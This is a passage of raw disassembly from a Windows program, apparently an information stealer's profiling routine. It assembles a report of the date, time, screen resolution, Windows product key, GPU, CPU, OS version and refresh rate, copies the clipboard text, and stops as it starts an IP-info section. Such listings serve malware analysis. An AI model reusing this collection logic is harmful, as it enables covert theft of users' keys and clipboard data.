push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0xfcffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x25
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x45774c
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x4577b3
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x457789
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x4577c3
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x457803
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4577f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457856
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x457866
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45785c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45785c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x3b8]
mov eax, edi
sub eax, ecx
cmp eax, 6
jb 0x458ec5
cmp dword [ebp - 0x3b4], 7
lea eax, [ebp - 0x3c8]
push ecx
cmova eax, dword [ebp - 0x3c8]
push eax
push 6
push str.Date:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x1fcffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x27
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x4578e6
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x45794d
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x457923
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x45795d
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x45799d
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457993
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4579f0
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x457a00
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4579f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4579f6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x3a0]
mov eax, edi
sub eax, ecx
cmp eax, 6
jb 0x458eca
cmp dword [ebp - 0x39c], 7
lea eax, [ebp - 0x3b0]
push ecx
cmova eax, dword [ebp - 0x3b0]
push eax
push 6
push str.Time:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x3fcffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x29
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x457a80
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x457ae7
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x457abd
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x457af7
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x457b37
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457b2d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457b8a
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x457b9a
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457b90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457b90
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x388]
mov eax, edi
sub eax, ecx
cmp eax, 0xc
jb 0x458ecf
cmp dword [ebp - 0x384], 7
lea eax, [ebp - 0x398]
push ecx
cmova eax, dword [ebp - 0x398]
push eax
push 0xc
push str.Resolution:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x7fcffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2b
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x457c1a
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x457c81
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x457c57
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x457c91
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x457cd1
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457cc7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457d24
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x457d34
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457d2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457d2a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x370]
mov eax, edi
sub eax, ecx
cmp eax, 0xd
jb 0x458ed4
cmp dword [ebp - 0x36c], 7
lea eax, [ebp - 0x380]
push ecx
cmova eax, dword [ebp - 0x380]
push eax
push 0xd
push str.Windows_key:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0xffcffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2d
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x457db4
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x457e1b
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x457df1
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x457e2b
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x457e6b
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457e61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x457ebe
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x457ece
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457ec4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x457ec4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x358]
mov eax, edi
sub eax, ecx
cmp eax, 5
jb 0x458eac
cmp dword [ebp - 0x354], 7
lea eax, [ebp - 0x368]
push ecx
cmova eax, dword [ebp - 0x368]
push eax
push 5
push str.GPU:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x230]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x1ffcffef
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x230]
cmp dword [ebp - 0x21c], 7
mov edx, dword [esi + 0x10]
cmova ecx, dword [ebp - 0x230]
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x4dc], edx
mov edx, dword [ebp - 0x220]
mov dword [ebp - 0x244], ecx
cmp edx, eax
ja 0x457fa2
cmp dword [esi + 0x14], 7
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x234], esi
lea eax, [edx + ecx]
mov dword [ebp - 0x4dc], eax
mov dword [esi + 0x10], eax
mov eax, esi
jbe 0x457f78
mov eax, dword [esi]
mov dword [ebp - 0x234], eax
lea ecx, [eax + ecx*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x244]
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x4dc]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x457fb2
push edx
push ecx
push dword [ebp - 0x4f0]
mov ecx, esi
push edx
call fcn.0048f560
mov ecx, dword [ebp - 0x230]
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x21c]
cmp eax, 7
jbe 0x457ff6
lea edx, [eax*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x457fec
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push edx
push ecx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x340]
mov eax, edi
sub eax, ecx
cmp eax, 5
jb 0x458eac
cmp dword [ebp - 0x33c], 7
lea eax, [ebp - 0x350]
push ecx
cmova eax, dword [ebp - 0x350]
push eax
push 5
push str.CPU:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x230]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x3ffcffef
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x230]
cmp dword [ebp - 0x21c], 7
mov edx, dword [esi + 0x10]
cmova ecx, dword [ebp - 0x230]
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x4dc], edx
mov edx, dword [ebp - 0x220]
mov dword [ebp - 0x244], ecx
cmp edx, eax
ja 0x4580ca
cmp dword [esi + 0x14], 7
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x234], esi
lea eax, [edx + ecx]
mov dword [ebp - 0x4dc], eax
mov dword [esi + 0x10], eax
mov eax, esi
jbe 0x4580a0
mov eax, dword [esi]
mov dword [ebp - 0x234], eax
lea ecx, [eax + ecx*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x244]
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x4dc]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x4580da
push edx
push ecx
push dword [ebp - 0x4f0]
mov ecx, esi
push edx
call fcn.0048f560
mov ecx, dword [ebp - 0x230]
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x21c]
cmp eax, 7
jbe 0x45811e
lea edx, [eax*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x458114
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push edx
push ecx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x328]
mov eax, edi
sub eax, ecx
cmp eax, 0x11
jb 0x458ed9
cmp dword [ebp - 0x324], 7
lea eax, [ebp - 0x338]
push ecx
cmova eax, dword [ebp - 0x338]
push eax
push 0x11
push str.Windows_version:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0x7ffcffef
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x31
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x45819e
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x458205
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x4581db
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x458215
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x458255
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45824b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4582a8
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x4582b8
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4582ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4582ae
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x310]
mov eax, edi
sub eax, ecx
cmp eax, 0xe
jb 0x458ede
cmp dword [ebp - 0x30c], 7
lea eax, [ebp - 0x320]
push ecx
cmova eax, dword [ebp - 0x320]
push eax
push 0xe
push str.Refresh_rate:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x230]
call fcn.00493f50
mov dword [ebp - 0x4f4], 0xfffcffef
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x230]
cmp dword [ebp - 0x21c], 7
mov edx, dword [esi + 0x10]
cmova ecx, dword [ebp - 0x230]
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x4dc], edx
mov edx, dword [ebp - 0x220]
mov dword [ebp - 0x244], ecx
cmp edx, eax
ja 0x45838c
cmp dword [esi + 0x14], 7
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x234], esi
lea eax, [edx + ecx]
mov dword [ebp - 0x4dc], eax
mov dword [esi + 0x10], eax
mov eax, esi
jbe 0x458362
mov eax, dword [esi]
mov dword [ebp - 0x234], eax
lea ecx, [eax + ecx*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x244]
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x4dc]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x45839c
push edx
push ecx
push dword [ebp - 0x4f0]
mov ecx, esi
push edx
call fcn.0048f560
mov ecx, dword [ebp - 0x230]
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x21c]
cmp eax, 7
jbe 0x4583e0
lea edx, [eax*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4583d6
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push edx
push ecx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x2f8]
mov eax, edi
sub eax, ecx
cmp eax, 6
jb 0x458ee3
cmp dword [ebp - 0x2f4], 7
lea eax, [ebp - 0x308]
push ecx
cmova eax, dword [ebp - 0x308]
push eax
push 6
push 0x7757f8
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x268]
call fcn.00493f50
push 0x774698
lea edx, [ebp - 0x268]
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x230]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x34
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x4dc], ecx
jbe 0x458456
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x234]
cmp ecx, eax
ja 0x4584bd
mov eax, dword [ebp - 0x234]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x244], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x234], esi
jbe 0x458493
mov ecx, dword [esi]
mov dword [ebp - 0x234], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x4dc]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x234]
add esp, 0xc
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x4584cd
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x45850d
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458503
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458560
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 7
jbe 0x458570
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458566
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x458566
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov byte [ebp - 4], 0x35
xor eax, eax
xorps xmm0, xmm0
mov dword [ebp - 0x220], 0
movups xmmword [ebp - 0x230], xmm0
push eax
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
mov dword [ebp - 0x4dc], 3
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x45865f
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x234], eax
test eax, eax
je 0x458659
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
je 0x458659
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x244], eax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4585e6
sub ecx, dword [ebp - 0x244]
mov eax, dword [ebp - 0x21c]
sar ecx, 1
cmp ecx, eax
ja 0x45863a
lea esi, [ecx + ecx]
mov dword [ebp - 0x220], ecx
cmp eax, 7
lea edi, [ebp - 0x230]
push esi
cmova edi, dword [ebp - 0x230]
push edx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
xor eax, eax
mov word [esi + edi], ax
mov edi, bind
mov esi, dword [ebp - 0x4f8]
jmp 0x45864d
push edx
push dword [ebp - 0x4f0]
push ecx
lea ecx, [ebp - 0x230]
call fcn.0048f430
push dword [ebp - 0x234]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea eax, [ebp - 0x230]
mov edx, str.Clipboard_text:
push eax
lea ecx, [ebp - 0x268]
call fcn.0048c600
push 0x775664
mov edx, eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x510]
call fcn.0048c730
add esp, 8
mov edx, eax
mov byte [ebp - 4], 0x37
cmp dword [edx + 0x14], 7
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x244], ecx
jbe 0x4586a6
mov edx, dword [edx]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x4f8], eax
mov eax, dword [esi + 0x14]
sub eax, dword [ebp - 0x4f8]
cmp ecx, eax
ja 0x45870d
mov eax, dword [ebp - 0x4f8]
add ecx, eax
cmp dword [esi + 0x14], 7
mov dword [ebp - 0x4dc], ecx
mov dword [esi + 0x10], ecx
mov ecx, esi
mov dword [ebp - 0x4f8], esi
jbe 0x4586e3
mov ecx, dword [esi]
mov dword [ebp - 0x4f8], ecx
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 0x244]
add eax, eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x4f8]
add esp, 0xc
mov ecx, dword [ebp - 0x4dc]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x45871d
push ecx
push edx
push dword [ebp - 0x4f0]
push ecx
mov ecx, esi
call fcn.0048f560
mov byte [ebp - 4], 0x36
mov ecx, dword [ebp - 0x4fc]
cmp ecx, 7
jbe 0x458761
mov edx, dword [ebp - 0x510]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458757
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458811
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x500], 0
mov dword [ebp - 0x4fc], 7
mov word [ebp - 0x510], ax
cmp ecx, 7
jbe 0x4587be
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4587b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458811
push ecx
push edx
call fcn.006db5f6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x21c]
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x254], 7
mov word [ebp - 0x268], ax
cmp ecx, 7
jbe 0x458821
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458817
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x458817
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
push str.IP_INFO_n
mov ecx, esi
call fcn.00488eb0
cmp dword [ebp - 0x2dc], 7
lea eax, [ebp - 0x2f0]
mov ecx, dword [esi + 0x10]
cmova eax, dword [ebp - 0x2f0]
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x234], eax
mov eax, dword [esi + 0x14]
sub eax, ecx
mov dword [ebp - 0x4dc], edx
mov dword [ebp - 0x244], ecx
cmp edx, eax
ja 0x4588b1
cmp dword [esi + 0x14], 7
lea eax, [ecx + edx]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x4f8], esi
jbe 0x458881
mov eax, dword [esi]
mov dword [ebp - 0x4f8], eax
lea ecx, [eax + ecx*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x234]
push ecx
call sub.VCRUNTIME140.dll_memmove
